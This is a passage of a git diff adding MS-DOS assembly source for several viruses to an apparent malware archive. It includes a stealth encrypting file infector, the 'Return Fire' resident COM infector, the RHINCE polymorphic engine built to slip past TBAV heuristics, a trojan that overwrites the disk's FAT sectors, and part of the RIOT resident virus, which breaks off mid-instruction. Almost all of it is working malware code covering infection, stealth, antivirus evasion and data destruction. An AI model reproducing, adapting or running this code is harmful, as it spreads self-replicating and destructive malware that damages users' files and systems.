;DI=Buffer for filename. + call int21h ;This converts it to uppercase too! + + ;CS:LENGTH = Filename in uppercase + ;with path and drive. Much easier + ;to handle now! + push cs + pop ds ;DS=CS + + mov si,di ;SI=DI=Offset Length + + cld ;Forward! + +find_ascii_z: + + lodsb + cmp al,0 + jne find_ascii_z + + sub si,4 ;Points to the file extension. 'EXE' + + lodsw ;Mov AX,DS:[SI] + + cmp ax,'XE' ;The 'EX' out of 'EXE' + jne test_com + + lodsb ;Mov AL,DS:[SI] + + cmp al,'E' ;The last 'E' in 'EXE' + jne Bad_Name + + jmp do_file ;EXE-file + +test_com: + + cmp ax,'OC' ;The 'CO' out of 'COM' + jne Bad_Name + + lodsb ;Mov AL,DS:[SI] + + cmp al,'M' + je do_file ;COM-file + +Bad_Name: + stc + ret + +do_file: + clc + ret +Check_Name endp + + +Search_Stealth: + + pop ax ;Restore AX. + + call int21h + jc end_search + + push es + push bx + push si + + mov ah,2fh + call int21h + + mov si,bx + + mov bx,word ptr es:[si+16h] + and bx,1f1fh + cmp bl,bh + jne search_pop ;Is our marker set ? + + sub word ptr es:[si+1ah],offset length ;Subtract the file length. + sbb word ptr es:[si+1ch],0 + +search_pop: + + pop si + pop bx + pop es + clc + +end_search: + retf 2 ;This is the same as an IRET + ;except that the flags aren't popped + ;off so our Carry Remains set. + +Dir_Stealth: + + ;This bit means that wen you do a 'dir' there is no change in + ;file size. + + pop ax + + call int21h ;Call the interrupt + cmp al,0 ;straight off. + jne end_of_dir + + push es + push ax ;Save em. + push bx + push si + + mov ah,2fh ;Get DTA address. + call int21h + + mov si,bx + + cmp byte ptr es:[si],0ffh ;Extended FCB ? + jne not_extended + + add si,7 ;Add the extra's. + +not_extended: + + mov bx,word ptr es:[si+17h] ;Move time. + and bx,1f1fh + cmp bl,bh + jne dir_pop ;Is our marker set ? + + sub word ptr es:[si+1dh],offset length ;Subtract the file length. + sbb word ptr es:[si+1fh],0 + +dir_pop: + + pop si + pop bx + pop ax + pop es + +end_of_dir: + + iret + +Get_Date proc near + mov ax,5700h ;Get Date/Time. + call int21h + mov word ptr time,cx + mov word ptr date,dx + + ret + +Get_date endp + +Set_Marker proc near + + mov cx,time + mov al,ch + and al,1fh + and cl,0e0h + or cl,al + mov dx,date + mov ax,5701h + call int21h + + ret + +Set_marker endp + +Enc_Setup proc near + + push cs + pop es + + in al,40h + mov byte ptr cs:cipher,al + + xor si,si + mov di,offset length ;Offset of our buffer. + mov cx,offset length ;Virus Length. + rep movsb ;Move the virus up in memory for + ;encryption. + + mov si,offset length + offset enc_start + + call encrypt ;Encrypt virus. + + mov ah,40h ;Write virus to file + mov dx,offset length ;Buffer for encrypted virus. + mov cx,offset length ;Virus length. + call int21h + + call set_marker ;Mark file as infected. + + ret + +Enc_setup endp + +Get_SFT Proc Near +;Entry: BX=File Handle. +;Exit: ES:DI=SFT. + push bx + + mov ax,1220h ;Get Job File Table Entry. The byte pointed + int 2fh ;at by ES:[DI] contains the number of the + ;SFT for the file handle. + + xor bx,bx + mov bl,es:[di] ;Get address of System File Table Entry. + mov ax,1216h + int 2fh + + pop bx + + ret + +Get_SFT EndP + +Zero_All proc near +;Zero's everything cept AX. + + xor bx,bx ;Zero BX + mov cx,bx + mov dx,bx + mov di,bx + + ret +Zero_All endp + + + New3 db 0e9h ;The jump for the start of + Newoff dw 0 ;COM files. + orig_ss dw 0 + orig_sp dw 0 + com_exe db 0 + old3 db 0cdh,20h,90h + + + +enc_end: ;Encryption ends here. + +; QaRK's |<-RaD TBSCaN eVaDeR!!!!!111 + +; Works every time :) + +encrypt proc near + +;Si = enc_start + mov cx,offset enc_end - offset enc_start + db 0b0h ;=MOV AL,xx + cipher db 0 +enc_loop: + ror al,1 + neg al + xor cs:[si],al ;<--- Whoah! Never guess this was encryption! + add al,al + inc si + loop enc_loop + ret + +Encrypt endp + + header db 18h dup (0) ;rewrite this + time dw 0 ;restore this + date dw 0 + +length db 200 dup (0) +stack_end: + diff --git a/MSDOS/Virus.MSDOS.Unknown.return-f.asm b/MSDOS/Virus.MSDOS.Unknown.return-f.asm new file mode 100644 index 00000000..dd524461 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.return-f.asm @@ -0,0 +1,443 @@ +;ŚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄæ +;³ THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS. ³ [NuKE] PoWeR +;³ CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN ³ [NuKE] WaReZ +;³ auToR: aLL [NuKE] MeMeBeRS ³ [NuKE] PoWeR +;³ [NuKE] THe ReaL PoWeR! ³ [NuKE] WaReZ +;³ NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994 ³ [NuKE] PoWeR +;ĄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄŁ + +.286 +code segment +assume cs:code,ds:code +org 100h + +start: CALL NEXT + +NEXT: + mov di,sp ;take the stack pointer location + mov bp,ss:[di] ;take the "DELTA HANDLE" for my virus + sub bp,offset next ;subtract the large code off this code + ; +;******************************************************************* +; #1 DECRYPT ROUTINE +;******************************************************************* + +cmp byte ptr cs:[crypt],0b9h ;is the first runnig? +je crypt2 ;yes! not decrypt +;---------------------------------------------------------- +mov cx,offset fin ;cx = large of virus +lea di,[offset crypt]+ bp ;di = first byte to decrypt +mov dx,1 ;dx = value for decrypt +;---------------------------------------------------------- +deci: ;deci = fuck label! +;---------------------------------------------------------- + +˙inc word ptr [di] +inc byte ptr [di] +add word ptr [di],0e6e9h +sub byte ptr [di],01fh +add byte ptr [di],05fh +˙inc di +inc di +;---------------------------------------------------------- +jmp bye ;######## BYE BYE F-PROT ! ########## +mov ah,4ch +int 21h +bye: ;#### HEY FRIDRIK! IS ONLY A JMP!!### +;----------------------------------------------------------- +mov ah,0bh ;######### BYE BYE TBAV ! ########## +int 21h ;### (CANGE INT AT YOU PLEASURE) ### +;---------------------------------------------------------- +loop deci ;repeat please! + ; +;***************************************************************** +; #2 DECRYPT ROUTINE +;***************************************************************** + ; +crypt: ;fuck label! + ; +mov cx,offset fin ;cx = large of virus +lea di,[offset crypt2] + bp ;di = first byte to decrypt +;--------------------------------------------------------------- +deci2: ; +xor byte ptr cs:[di],1 ;decrytion rutine +inc di ;very simple... +loop deci2 ; +;--------------------------------------------------------------- +crypt2: ;fuck label! + ; +MOV AX,0CACAH ;call to my resident interrup mask +INT 21H ;for chek "I'm is residet?" +CMP Bh,0CAH ;is equal to CACA? +JE PUM2 ;yes! jump to runnig program +call action +;***************************************************************** +; NRLG FUNCTIONS (SELECTABLE) +;***************************************************************** + +˙;**************************************************************** +; PROCESS TO REMAIN RESIDENT +;**************************************************************** + +mov ax,3521h +int 21h ;store the int 21 vectors +mov word ptr [bp+int21],bx ;in cs:int21 +mov word ptr [bp+int21+2],es ; +;--------------------------------------------------------------- +push cs ; +pop ax ;ax = my actual segment +dec ax ;dec my segment for look my MCB +mov es,ax ; +mov bx,es:[3] ;read the #3 byte of my MCB =total used memory +;--------------------------------------------------------------- +push cs ; +pop es ; +sub bx,(offset fin - offset start + 15)/16 ;subtract the large of my virus +sub bx,17 + offset fin ;and 100H for the PSP total +mov ah,4ah ;used memory +int 21h ;put the new value to MCB +;--------------------------------------------------------------- +mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin +mov ah,48h ; +int 21h ;request the memory to fuck DOS! +;--------------------------------------------------------------- +dec ax ;ax=new segment +mov es,ax ;ax-1= new segment MCB +mov byte ptr es:[1],8 ;put '8' in the segment +;-------------------------------------------------------------- +inc ax ; +mov es,ax ;es = new segment +lea si,[bp + offset start] ;si = start of virus +mov di,100h ;di = 100H (psp position) +mov cx,offset fin - start ;cx = lag of virus +push cs ; +pop ds ;ds = cs +cld ;mov the code +rep movsb ;ds:si >> es:di +;-------------------------------------------------------------- +mov dx,offset virus ;dx = new int21 handler +mov ax,2521h ; +push es ; +pop ds ; +int 21h ;set the vectors +;------------------------------------------------------------- +pum2: ; + ; +mov ah,byte ptr [cs:bp + real] ;restore the 3 +mov byte ptr cs:[100h],ah ;first bytes +mov ax,word ptr [cs:bp + real + 1] ; +mov word ptr cs:[101h],ax ; +;------------------------------------------------------------- +mov ax,100h ; +jmp ax ;jmp to execute + ; +;***************************************************************** +;* HANDLER FOR THE INT 21H +;***************************************************************** + ; +VIRUS: ; + ; +cmp ah,4bh ;is a 4b function? +je REPRODUCCION ;yes! jump to reproduce ! +cmp ah,11h +je dir +cmp ah,12h +je dir +dirsal: +cmp AX,0CACAH ;is ... a caca function? (resident chek) +jne a3 ;no! jump to a3 +mov bh,0cah ;yes! put ca in bh +a3: ; +JMP dword ptr CS:[INT21] ;jmp to original int 21h +ret ; +make db '[NuKE] N.R.L.G. AZRAEL' +dir: +jmp dir_s +;------------------------------------------------------------- +REPRODUCCION: ; + ; +pushf ;put the register +pusha ;in the stack +push si ; +push di ; +push bp ; +push es ; +push ds ; +;------------------------------------------------------------- +push cs ; +pop ds ; +mov ax,3524H ;get the dos error control +int 21h ;interupt +mov word ptr error,es ;and put in cs:error +mov word ptr error+2,bx ; +mov ax,2524H ;change the dos error control +mov dx,offset all ;for my "trap mask" +int 21h ; +;------------------------------------------------------------- +pop ds ; +pop es ;restore the registers +pop bp ; +pop di ; +pop si ; +popa ; +popf ; +;------------------------------------------------------------- +pushf ;put the registers +pusha ; +push si ;HEY! AZRAEL IS CRAZY? +push di ;PUSH, POP, PUSH, POP +push bp ;PLEEEEEAAAAAASEEEEEEEEE +push es ;PURIFY THIS SHIT! +push ds ; +;------------------------------------------------------------- +mov ax,4300h ; +int 21h ;get the file +mov word ptr cs:[attrib],cx ;atributes +;------------------------------------------------------------- +mov ax,4301h ;le saco los atributos al +xor cx,cx ;file +int 21h ; +;------------------------------------------------------------- +mov ax,3d02h ;open the file +int 21h ;for read/write +mov bx,ax ;bx=handle +;------------------------------------------------------------- +mov ax,5700h ; +int 21h ;get the file date +mov word ptr cs:[hora],cx ;put the hour +mov word ptr cs:[dia],dx ;put the day +and cx,word ptr cs:[fecha] ;calculate the seconds +cmp cx,word ptr cs:[fecha] ;is ecual to 58? (DEDICATE TO N-POX) +jne seguir ;yes! the file is infected! +jmp cerrar ; +;------------------------------------------------------------ +seguir: ; +mov ax,4202h ;move the pointer to end +call movedor ;of the file +;------------------------------------------------------------ +push cs ; +pop ds ; +sub ax,3 ;calculate the +mov word ptr [cs:largo],ax ;jmp long +;------------------------------------------------------------- +mov ax,04200h ;move the pointer to +call movedor ;start of file +;---------------------------------------------------------- +push cs ; +pop ds ;read the 3 first bytes +mov ah,3fh ; +mov cx,3 ; +lea dx,[cs:real] ;put the bytes in cs:[real] +int 21h ; +;---------------------------------------------------------- +cmp word ptr cs:[real],05a4dh ;the 2 first bytes = 'MZ' ? +jne er1 ;yes! is a EXE... fuckkk! +;---------------------------------------------------------- +jmp cerrar +er1: +;---------------------------------------------------------- +mov ax,4200h ;move the pointer +call movedor ;to start fo file +;---------------------------------------------------------- +push cs ; +pop ds ; +mov ah,40h ; +mov cx,1 ;write the JMP +lea dx,[cs:jump] ;instruccion in the +int 21h ;fist byte of the file +;---------------------------------------------------------- +mov ah,40h ;write the value of jmp +mov cx,2 ;in the file +lea dx,[cs:largo] ; +int 21h ; +;---------------------------------------------------------- +mov ax,04202h ;move the pointer to +call movedor ;end of file +;---------------------------------------------------------- +push cs ; +pop ds ;move the code +push cs ;of my virus +pop es ;to cs:end+50 +cld ;for encrypt +mov si,100h ; +mov di,offset fin + 50 ; +mov cx,offset fin - 100h ; +rep movsb ; +;---------------------------------------------------------- +mov cx,offset fin +mov di,offset fin + 50 + (offset crypt2 - offset start) ;virus +enc: ; +xor byte ptr cs:[di],1 ;encrypt the virus +inc di ;code +loop enc ; +;--------------------------------------------------------- +mov cx,offset fin +mov di,offset fin + 50 + (offset crypt - offset start) ;virus +mov dx,1 +enc2: ; + +˙sub byte ptr [di],05fh +add byte ptr [di],01fh +sub word ptr [di],0e6e9h +dec byte ptr [di] +dec word ptr [di] +˙inc di +inc di ;the virus code +loop enc2 ; +;-------------------------------------------- +mov ah,40h ; +mov cx,offset fin - offset start ;copy the virus +mov dx,offset fin + 50 ;to end of file +int 21h ; +;---------------------------------------------------------- +cerrar: ; + ;restore the +mov ax,5701h ;date and time +mov cx,word ptr cs:[hora] ;file +mov dx,word ptr cs:[dia] ; +or cx,word ptr cs:[fecha] ;and mark the seconds +int 21h ; +;---------------------------------------------------------- +mov ah,3eh ; +int 21h ;close the file +;---------------------------------------------------------- +pop ds ; +pop es ;restore the +pop bp ;registers +pop di ; +pop si ; +popa ; +popf ; +;---------------------------------------------------------- +pusha ; + ; +mov ax,4301h ;restores the atributes +mov cx,word ptr cs:[attrib] ;of the file +int 21h ; + ; +popa ; +;---------------------------------------------------------- +pushf ; +pusha ; 8-( = f-prot +push si ; +push di ; 8-( = tbav +push bp ; +push es ; 8-) = I'm +push ds ; +;---------------------------------------------------------- +mov ax,2524H ; +lea bx,error ;restore the +mov ds,bx ;errors handler +lea bx,error+2 ; +int 21h ; +;---------------------------------------------------------- +pop ds ; +pop es ; +pop bp ;restore the +pop di ;resgisters +pop si ; +popa ; +popf ; +;---------------------------------------------------------- +JMP A3 ;jmp to orig. INT 21 + ; +;********************************************************** +; SUBRUTINES AREA +;********************************************************** + ; +movedor: ; + ; +xor cx,cx ;use to move file pointer +xor dx,dx ; +int 21h ; +ret ; +;---------------------------------------------------------- +all: ; + ; +XOR AL,AL ;use to set +iret ;error flag + +;*********************************************************** +; DATA AREA +;*********************************************************** +largo dw ? +jump db 0e9h +real db 0cdh,20h,0 +hora dw ? +dia dw ? +attrib dw ? +int21 dd ? +error dd ? + +˙;--------------------------------- +action: ;Call label +MOV AH,2AH ; +INT 21H ;get date +CMP Dl,byte ptr cs:[action_dia+bp] ;is equal to my day? +JE cont ;nop! fuck ret +cmp byte ptr cs:[action_dia+bp],32 ; +jne no_day ; +cont: ; +cmp dh,byte ptr cs:[action_mes+bp] ;is equal to my month? +je set ; +cmp byte ptr cs:[action_mes+bp],13 ; +jne NO_DAY ;nop! fuck ret +set: ; +mov AH,9 ;yeah!! +MOV DX,OFFSET PAO ;print my text! +INT 21H ;now! +INT 20H ;an finsh te program +NO_DAY: ;label to incorrect date +ret ;return from call +;--------------------------------- + +˙ +PAO: +DB 10,13,'YOU ARE INFECTED WITH A VIRUS!!! "RETURN FIRE!" ver 2.8 "F-prot cannot survive!!"','$' + +;***************************************************** +dir_s: + pushf + push cs + call a3 ;Get file Stats + test al,al ;Good FCB? + jnz no_good ;nope + push ax + push bx + push es + mov ah,51h ;Is this Undocmented? huh... + int 21h + mov es,bx + cmp bx,es:[16h] + jnz not_infected + mov bx,dx + mov al,[bx] + push ax + mov ah,2fh ;Get file DTA + int 21h + pop ax + inc al + jnz fcb_okay + add bx,7h +fcb_okay: mov ax,es:[bx+17h] + and ax,1fh ;UnMask Seconds Field + xor al,byte ptr cs:fechad + jnz not_infected + and byte ptr es:[bx+17h],0e0h + sub es:[bx+1dh],OFFSET FIN - OFFSET START ;Yes minus virus size + sbb es:[bx+1fh],ax +not_infected:pop es + pop bx + pop ax +no_good: iret +;******************************************************************** +; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX +;********************************************************************* + +˙action_dia Db 07H ;day for the action +action_mes Db 04H ;month for the action +FECHA DW 01eH ;Secon for mark +FECHAd Db 01eH ;Secon for mark dir st +fin: +code ends +end start diff --git a/MSDOS/Virus.MSDOS.Unknown.rhince20.asm b/MSDOS/Virus.MSDOS.Unknown.rhince20.asm new file mode 100644 index 00000000..d62a5ca7 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.rhince20.asm @@ -0,0 +1,315 @@ +; RHINCE 2.0, by Rhincewind [Vlad] +; +; This is the accompanying textfile for RHINCE v2.0, where RHINCE stands for +; "Rickety and Hardly Insidious yet New Chaos Engine". There's been quite +; a lot of feedback on the original release, both positive and negative. The +; negative reviews mainly dealt with the engine being so obscenely +; ineffective. To you I say, you missed the point: RHINCE was and is an +; experiment in writing small polymorphic engines using tables. +; +; I rewrote RHINCE because I came up with a method that I hoped would make +; it much, much shorter, say, under 300 bytes. Not so I'm afraid, the pure +; v1.0 rewrite amounted to 367 bytes. +; +; This version doesn't use encoding routines that use tables. No, it uses +; one encoding routine and a set of tables. In almost every engine, the +; routines all have a certain structure in common and yet they're never quite +; the same so optimisation by using subroutines is difficult. This is an +; easier approach: +; +; Encoding takes place byte for byte, and a tablestring is used to describe +; it's specifics. First byte in the string is the commandbyte: +; +; bit 4 quote next byte. +; bit 3 get random choice. next byte is the number of choices, +; followed by the choices themselves. +; bit 2 next byte is a mask indicating which bits to randomise. +; bit 1 next byte is a mask for ANDing, the byte thereafter +; is an illegal choice for the masked byte. +; bit 0 next byte is a byte displacement used to jump to. +; (for table optimisation) +; +; The commandbyte is followed by the arguments for the bit 4 command if it +; was set, then the arguments for bit 3 if it was set, et cetera. It's all +; in the code. +; +; So the original rewrite was finished but the engine's performance was still +; approximately zero. Tweaking done: +; +; ** DAA DAS AAA AAS opcodes removed. flagged by TBAV (@) +; ** $+2 flowcontrol removed. flagged by TBAV (G) +; JO/JNO branching flagged by TBAV (@) +; ** Forced first opcode to not be an flagged by TBAV (G) +; opcode needing previous register +; contents +; ** No longer builds decryptor inside flagged by TBAV (#) +; code, but rather on the heap. +; +; RHINCE v2.0 is almost TBAV heuristics proof. A negligible amount of +; samples still gets G flags on pointer references in the first 32 bytes. +; Then there is the occasional E, U, t or D flag probably caused +; by Thunderbyte interpreting the random byte and word values as code, +; i.e. signature scanning. +; +; Thunderbyte's heuristics are really interesting. The G flag for operations +; with uninitialised registers can only be triggered by the first 32 bytes +; of code (or so). The $+2 flowcontrol check is active throughout the +; program but the check for self-modifying code (which is how it detected +; v1.0) is only active in the first 512 bytes. +; +; Call Parameters: CX length of code to encrypt +; DS:DX pointer to code to encrypt +; BP offset code will be run at. +; Return Parameters: CX length of decryptor+encrypted code. +; DS:DX pointer to decryptor. +; +; Caution:Engine assumes CS=DS=ES. Also as said above, RHINCE v2.0 builds +; a decryptor on the heap. Please ensure that the heapspace is there! +; In COM infection mind the maximum filelength you can infect. In +; EXE infection you should check, and alter if necessary, the +; MINALLOC header field. If alteration of MINALLOC was necessary, +; see if MAXALLOC>MINALLOC. If not set MAXALLOC==MINALLOC. +; +; RHINCE v2.0: 377 bytes undiluted polymorphic generation code. +; - Rhince. + + .model tiny + .code + org 100h + +;Below is a small demogenerator. Assemble & run this file as is to generate +;an encrypted HELLO.COM file, cut/paste the engine code otherwise. + +start: + mov ah,3ch + xor cx,cx + mov dx, offset file + int 21h + push ax + mov dx, offset prog + mov cx, (endprog-prog) + mov bp, 100h + call mut_eng + pop bx + mov ah, 40h + int 21h + mov ah, 3eh + int 21h + mov ah,9 + mov dx, offset msg + int 21h + int 20h +file db 'hello.com',0 +msg db 'Run HELLO.COM to decrypt and print a sacred VLAD scripture$' +prog: mov ah,9 + call $+3 +delta: pop dx + add dx, (str-delta) + int 21h + int 20h +str db 'At the word of the dark judges, that word which ' + db 'tortures the spirit,',0dh,0ah + db 'Kantza-Merada, even the goddess, was turned to a ' + db 'dead body,',0dh,0ah + db 'Defiled, polluted, a corpse hangin'' from a stake.' + db 0dh,0ah,0dh,0ah + db 'Most strangely, Kantza-Merada, are the laws of the ' + db 'dark world effected.',0dh,0ah + db 'O Kantza-Merada, do not question the laws of the ' + db 'nether world.',0dh,0ah,0dh,0ah + db 'The goddess from the great above descended to the ' + db 'great below.',0dh,0ah + db 'To the nether world of darkness she descended.',0dh,0ah + db 'The goddess abandoned heaven, abandoned earth,',0dh,0ah + db 'Abandoned dominion, abandoned ladyship,',0dh,0ah + db 'To the nether world of darkness she descended.$' +endprog: + +;------ Engine starts here. + +mut_eng: mov di, offset resulting_code + inc cx + shr cx,1 + mov word ptr [di-(resulting_code-cntr)],cx + call get_rand + mov ah,al + call get_rand + mov word ptr [di-(resulting_code-seed)],ax + push bp + push dx + call get_rand + and ax, 1 + call do_garbage_manual + mov cx, 9 +genloop: push cx + call get_rand + and ax,0fh + inc ax + xchg ax,cx +gloop: push cx + call do_garbage + pop cx + loop gloop + mov ax, 0c72eh + stosw + mov al, 06 + stosb + pop cx + mov bx,cx + add bx,bx + mov word ptr ds:[workspace-2+bx],di + stosw + stosw + loop genloop + pop si + pop bp + mov al, 0e9h + stosb + mov cx, word ptr cntr + mov ax,cx + add ax,cx + stosw + add ax, (endframe-framework) + neg ax + mov jmpback, ax + lea bx, [di+bp+(-(offset resulting_code))] + mov word ptr ptr, bx +cryptloop: + lodsw + xor ax, word ptr seed + stosw + loop cryptloop + mov dx,di + push di + mov si, offset framework + mov bx, offset resulting_code + push bx + sub bp,bx + mov cx,9 +fill_loop: dec bx + dec bx + mov di, word ptr [bx] + lea ax, [bp+si+(-(offset framework))] + add ax,dx + stosw + movsw + loop fill_loop + pop dx + pop cx + sub cx,dx + ret +get_rand: in al,40h + rol al,1 ;RNG v2.0 + xor al, 0ffh + org $-1 +Randomize db ? + mov randomize,al + ret +do_garbage: call get_rand + and ax, 0fh +do_garbage_manual: + mov bx,ax + mov bl, byte ptr [calltable+bx] + xor bh,bh + lea bp, [bx+poly] +interpret_string: + mov si,bp + cwd + lodsb + mov dh,al + test dh,16 + jz dont_quote + lodsb + mov dl,al +dont_quote: test dh,8 + jz dont_select + lodsb + cbw + xchg ax,cx + call get_rand + xor ah,ah + div cl + xchg al,ah + cbw + xchg ax,bx + mov dl, byte ptr ds:[si+bx] + add si,cx +dont_select: test dh,4 + jz no_random_masking + call get_rand + and al, byte ptr ds:[si] + or dl,al + inc si +no_random_masking: + test dh,2 + jz no_illegal + lodsb + and al,dl + inc si + cmp al, byte ptr ds:[si-1] + jz interpret_string +no_illegal: mov bp,si + mov al,dl + stosb + test dh,1 + jz no_jmp + lodsb + cbw + add bp,ax +no_jmp: cmp byte ptr ds:[bp],0 + jnz interpret_string + ret +calltable: db rnd_mov_8 - poly + db rnd_mov_16 - poly + db onebyte - poly + db incs - poly + db incs - poly + db arithmetic_8 - poly + db arithmetic_16 - poly + db big_class_0_40 - poly + db onebyte - poly + db big_class_40_80 - poly + db big_class_80_c0 - poly + db big_class_c0_100 - poly + db rnd_mov_8 - poly + db rnd_mov_16 - poly + db rnd_mov_8 - poly + db rnd_mov_16 - poly +endcalltable: +poly: +big_class_0_40: db 00010100b,00000010b,00111001b,00000110b,00011111b + db 00000111b,6,00 +big_class_40_80:db 00010100b,00100010b,00011001b,00010111b,01000000b + db 00011111b,00000111b,6,rndbyte-$ +big_class_80_c0:db 00010100b,00100010b,00011001b,00010111b,10000000b + db 00011111b,00000111b,6,rndword-$ +big_class_c0_100: + db 00010100b,00100010b,00011001b,00010110b,11000000b + db 00011111b,00000111b,6,00 +flow_control: db 00010100b,72h,7,00010000b,0,0 +arithmetic_8: db 00010101b,00000100b,00111000b,rndbyte-$ +arithmetic_16: db 00010101b,00000101b,00111000b,rndword-$ +rnd_mov_8: db 00010101b,0b0h,7,rndbyte-$ +rnd_mov_16: db 00010110b,0b8h,07,07,04 +rndword: db 00000100b,0ffh +rndbyte: db 00000100b,0ffh,0 +incs: db 00010110b,40h,0fh,7,4,0 +onebyte: db 00001000b,(end_onebyters-onebyters) +onebyters: db 0fdh,0fch,0fbh,0f9h,0f8h,0f5h,0d7h,9fh,9eh,99h,98h + db 91h,92h,93h,95h,96h,97h +end_onebyters: db 0 +framework: cld + mov si, 1234h +ptr equ $-2 + mov cx, 1234h +cntr equ $-2 +frameloop: xor word ptr cs:[si], 1234h +seed equ $-2 + lodsw + loop frameloop + db 0e9h +jmpback dw ? +endframe: +workspace db endframe-framework dup (?) +resulting_code: +end start diff --git a/MSDOS/Virus.MSDOS.Unknown.richards.asm b/MSDOS/Virus.MSDOS.Unknown.richards.asm new file mode 100644 index 00000000..37ab9147 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.richards.asm @@ -0,0 +1,83 @@ +; RICHARDS.ASM -- R. Simmons Trojan +; Created with Nowhere Man's Virus Creation Laboratory v1.00 +; Written by Nowhere Man + +virus_type equ 3 ; Trojan Horse +is_encrypted equ 1 ; We're encrypted +tsr_virus equ 0 ; We're not TSR + +code segment byte public + assume cs:code,ds:code,es:code,ss:code + org 0100h + +start label near + +main proc near + call encrypt_decrypt ; Decrypt the virus + +start_of_code label near + +stop_tracing: mov cx,09EBh + mov ax,0FE05h ; Acutal move, plus a HaLT + jmp $-2 + add ah,03Bh ; AH now equals 025h + jmp $-10 ; Execute the HaLT + mov bx,offset null_vector ; BX points to new routine + push cs ; Transfer CS into ES + pop es ; using a PUSH/POP + int 021h + mov al,1 ; Disable interrupt 1, too + int 021h + jmp short skip_null ; Hop over the loop +null_vector: jmp $ ; An infinite loop +skip_null: mov byte ptr [lock_keys + 1],130 ; Prefetch unchanged +lock_keys: mov al,128 ; Change here screws DEBUG + out 021h,al ; If tracing then lock keyboard + + mov si,offset data00 ; SI points to data + mov ah,0Eh ; BIOS display char. function +display_loop: lodsb ; Load the next char. into AL + or al,al ; Is the character a null? + je disp_strnend ; If it is, exit + int 010h ; BIOS video interrupt + jmp short display_loop ; Do the next character +disp_strnend: + + mov ax,0002h ; First argument is 2 + mov cx,0010h ; Second argument is 16 + cli ; Disable interrupts (no Ctrl-C) + cwd ; Clear DX (start with sector 0) + int 026h ; DOS absolute write interrupt + sti ; Restore interrupts + + + mov ax,04C00h ; DOS terminate function + int 021h +main endp + +data00 db "C'mon now, trim that FAT! 1 and 2 and 3 and....",13,10,10,0 + +vcl_marker db "[VCL]",0 ; VCL creation marker + + +note db "The Richard Simmons Trojan; gu" + db "aranteed to get rid of that un" + db "sightly FAT in no time!",0 + db "[Richard Simmons Trojan]",0 + db "Nowhere Man, [NuKE] '92",0 + +end_of_code label near + +encrypt_decrypt proc near + mov si,offset start_of_code ; SI points to code to decrypt + mov cx,(end_of_code - start_of_code) / 2 ; CX holds length +xor_loop: xor word ptr [si],06734h ; XOR a word by the key + inc si ; Do the next word + inc si ; + loop xor_loop ; Loop until we're through + ret ; Return to caller +encrypt_decrypt endp +finish label near + +code ends + end main \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.riot.asm b/MSDOS/Virus.MSDOS.Unknown.riot.asm new file mode 100644 index 00000000..218ec208 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.riot.asm @@ -0,0 +1,186 @@ +From netcom.com!ix.netcom.com!netnews Sat Nov 12 17:11:15 1994 +Xref: netcom.com alt.comp.virus:200 +Path: netcom.com!ix.netcom.com!netnews +From: Zeppelin@ix.netcom.com (Mr. G) +Newsgroups: alt.comp.virus +Subject: Re:Riot +Date: 12 Nov 1994 03:37:30 GMT +Organization: Netcom +Lines: 171 +Distribution: world +Message-ID: <3a1d9q$ma6@ixnews1.ix.netcom.com> +References: <3a0s7b$r6i$1@mhadf.production.compuserve.com> <3a1aj7$l5e@ixnews1.ix.netcom.com> <3a1cri$m31@ixnews1.ix.netcom.com> +NNTP-Posting-Host: ix-ir4-21.ix.netcom.com + +; RIOT! - Revolution In Our Time + +model tiny +code +org 100h +start: +; push ax ; Original push "ax", + PUSH DX ; But push dx instead, + ; and S&S FindViru can't + ; find it as NINA-256 :) + + mov ax,9753h ; installation check + int 21h + mov ax,ds + dec ax + mov ds,ax ; ds->program MCB + mov ax,ds:[3] ; get size word + push bx + push es + sub ax,40h ; reserve 40h paragraphs + mov bx,ax + mov ah,4Ah ; Shrink memory +allocation + int 21h + + mov ah,48h ; Allocate 3Fh +paragraphs + mov bx,3Fh ; for the virus + int 21h + + mov es,ax ; copy virus to high + xor di,di ; memory + mov si,offset start + 10h ; start at MCB:110h + mov cx,100h ; (same as PSP:100h) + rep movsb + sub ax,10h ; adjust offset as if it + push ax ; originated at 100h + mov ax,offset highentry + push ax + retf + +highentry: + mov byte ptr cs:[0F2h],0AAh ; change MCB's owner so +the + ; memory isn't freed +when the + ; program terminates + mov ax,3521h ; get int 21h vector + int 21h + + mov word ptr cs:oldint21,bx ; save it + mov word ptr cs:oldint21+2,es + push es + pop ds + mov dx,bx + mov ax,2591h ; redirect int 91h to +int 21h + int 21h + + push cs + pop ds + mov dx,offset int21 + mov al,21h ; set int 21h to virus +vector + int 21h + + pop ds ; ds->original program +PSP + pop bx + push ds + pop es + +ENDFILE dw 100h ; Size of infected COM +file + +return_COM: + mov di,100h ; restore original + mov si,endfile ; file + add si,di ; adjust for COM +starting + mov cx,100h ; offset + rep movsb + pop ax + push ds ; jmp back to original + mov bp,100h ; file (PSP:100) + push bp + retf +exit_install: + pop ax ; pop CS:IP and flags in + pop ax ; order to balance the + pop ax ; stack and then exit +the + jmp short return_COM ; infected COM file +int21: + cmp ax,9753h ; installation check? + je exit_install + cmp ax,4B00h ; execute? + jne exitint21 ; nope, quit + push ax ; save registers + push bx + push cx + push dx + push ds + call infect + pop ds ; restore registers + pop dx + pop cx + pop bx + pop ax +exitint21: + db 0eah ; jmp far ptr +oldint21 dd ? + +infect: + mov ax,3D02h ; open file read/write + int 91h + jc exit_infect + mov bx,ax + mov cx,100h + push cs + pop ds + mov ah,3Fh ; Read first 100h bytes + mov dx,offset endvirus + int 91h + mov ax,word ptr endvirus + cmp ax,'MZ' ; exit if EXE + je close_exit_infect + cmp 